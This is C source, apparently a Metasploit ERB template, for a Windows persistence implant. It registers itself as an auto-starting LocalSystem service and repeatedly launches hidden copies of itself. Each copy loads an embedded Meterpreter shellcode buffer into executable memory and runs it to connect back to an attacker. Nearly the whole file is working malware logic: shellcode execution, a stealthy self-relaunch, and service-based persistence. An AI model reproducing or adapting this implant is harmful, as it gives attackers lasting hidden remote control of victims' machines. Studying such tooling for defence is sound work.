#include #include #include #include #define SERVICE_NAME <%= @service_name.inspect %> #define DISPLAY_NAME <%= @service_description.inspect %> #define RETRY_TIME <%= @retry_time %> // // Globals // SERVICE_STATUS status; SERVICE_STATUS_HANDLE hStatus; // // Meterpreter connect back to host // void start_meterpreter() { // Your meterpreter shell here <%= buf %> LPVOID buffer = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(buffer,buf,sizeof(buf)); HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)(buffer),NULL,0,NULL); WaitForSingleObject(hThread, -1); //INFINITE CloseHandle(hThread); } // // Call self without parameter to start meterpreter // void self_call() { char path[MAX_PATH]; char cmd[MAX_PATH]; if (GetModuleFileName(NULL, path, sizeof(path)) == 0) { // Get module file name failed return; } STARTUPINFO startup_info; PROCESS_INFORMATION process_information; ZeroMemory(&startup_info, sizeof(startup_info)); startup_info.cb = sizeof(startup_info); ZeroMemory(&process_information, sizeof(process_information)); // If create process failed. // CREATE_NO_WINDOW = 0x08000000 if (CreateProcess(path, path, NULL, NULL, TRUE, 0x08000000, NULL, NULL, &startup_info, &process_information) == 0) { return; } // Wait until the process died. WaitForSingleObject(process_information.hProcess, -1); } // // Process control requests from the Service Control Manager // VOID WINAPI ServiceCtrlHandler(DWORD fdwControl) { switch (fdwControl) { case SERVICE_CONTROL_STOP: case SERVICE_CONTROL_SHUTDOWN: status.dwWin32ExitCode = 0; status.dwCurrentState = SERVICE_STOPPED; break; case SERVICE_CONTROL_PAUSE: status.dwWin32ExitCode = 0; status.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: status.dwWin32ExitCode = 0; status.dwCurrentState = SERVICE_RUNNING; break; default: break; } if (SetServiceStatus(hStatus, &status) == 0) { //printf("Cannot set service status (0x%08x)", GetLastError()); exit(1); } return; } // // Main function of service // VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv) { // Register the service handler hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler); if (hStatus == 0) { //printf("Cannot register service handler (0x%08x)", GetLastError()); exit(1); } // Initialize the service status structure status.dwServiceType = SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS; status.dwCurrentState = SERVICE_RUNNING; status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; status.dwWin32ExitCode = 0; status.dwServiceSpecificExitCode = 0; status.dwCheckPoint = 0; status.dwWaitHint = 0; if (SetServiceStatus(hStatus, &status) == 0) { //printf("Cannot set service status (0x%08x)", GetLastError()); return; } // Start the Meterpreter while (status.dwCurrentState == SERVICE_RUNNING) { self_call(); Sleep(RETRY_TIME); } return; } // // Installs and starts the Meterpreter service // BOOL install_service() { SC_HANDLE hSCManager; SC_HANDLE hService; char path[MAX_PATH]; // Get the current module name if (!GetModuleFileName(NULL, path, MAX_PATH)) { //printf("Cannot get module name (0x%08x)", GetLastError()); return FALSE; } // Build the service command line char cmd[MAX_PATH]; int total_len = strlen(path) + <%= 3 + @start_cmd.length %>; if (total_len < 0 || total_len >= sizeof(cmd)){ //printf("Cannot build service command line (0x%08x)", -1); return FALSE; } cmd[0] = '\0'; strcat(cmd, "\""); strcat(cmd, path); strcat(cmd, "\" <%= @start_cmd %>"); // Open the service manager hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (hSCManager == NULL) { //printf("Cannot open service manager (0x%08x)", GetLastError()); return FALSE; } // Create the service hService = CreateService( hSCManager, SERVICE_NAME, DISPLAY_NAME, 0xf01ff, // SERVICE_ALL_ACCESS SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, cmd, NULL, NULL, NULL, NULL, /* LocalSystem account */ NULL ); if (hService == NULL) { //printf("Cannot create service (0x%08x)", GetLastError()); CloseServiceHandle(hSCManager); return FALSE; } // Start the service char* args[] = { path, "service" }; if (StartService(hService, 2, (const char**)&args) == 0) { DWORD err = GetLastError(); if (err != 0x420) //ERROR_SERVICE_ALREADY_RUNNING { //printf("Cannot start service %s (0x%08x)", SERVICE_NAME, err); CloseServiceHandle(hService); CloseServiceHandle(hSCManager); return FALSE; } } // Cleanup CloseServiceHandle(hService); CloseServiceHandle(hSCManager); //printf("Service %s successfully installed.", SERVICE_NAME); return TRUE; } // // Start the service // void start_service() { SERVICE_TABLE_ENTRY ServiceTable[] = { { SERVICE_NAME, &ServiceMain }, { NULL, NULL } }; if (StartServiceCtrlDispatcher(ServiceTable) == 0) { //printf("Cannot start the service control dispatcher (0x%08x)",GetLastError()); exit(1); } } // // Main function // int main() { // Parse the command line argument. // For now, int main(int argc, char *argv) is buggy with metasm. // So we choose this approach to achieve it. LPTSTR cmdline; cmdline = GetCommandLine(); char *argv[MAX_PATH]; char * ch = strtok(cmdline," "); int argc = 0; while (ch != NULL) { argv[argc] = malloc( strlen(ch)+1) ; strncpy(argv[argc], ch, strlen(ch)+1); ch = strtok (NULL, " "); argc++; } if (argc > 1) { if (strcmp(argv[argc-1], <%= @install_cmd.inspect %>) == 0) { // Installs and starts the service install_service(); return 0; } else if (strcmp(argv[argc-1], <%= @start_cmd.inspect %>) == 0) { // Starts the Meterpreter as a service start_service(); return 0; } } // Starts the Meterpreter as a normal application start_meterpreter(); return 0; }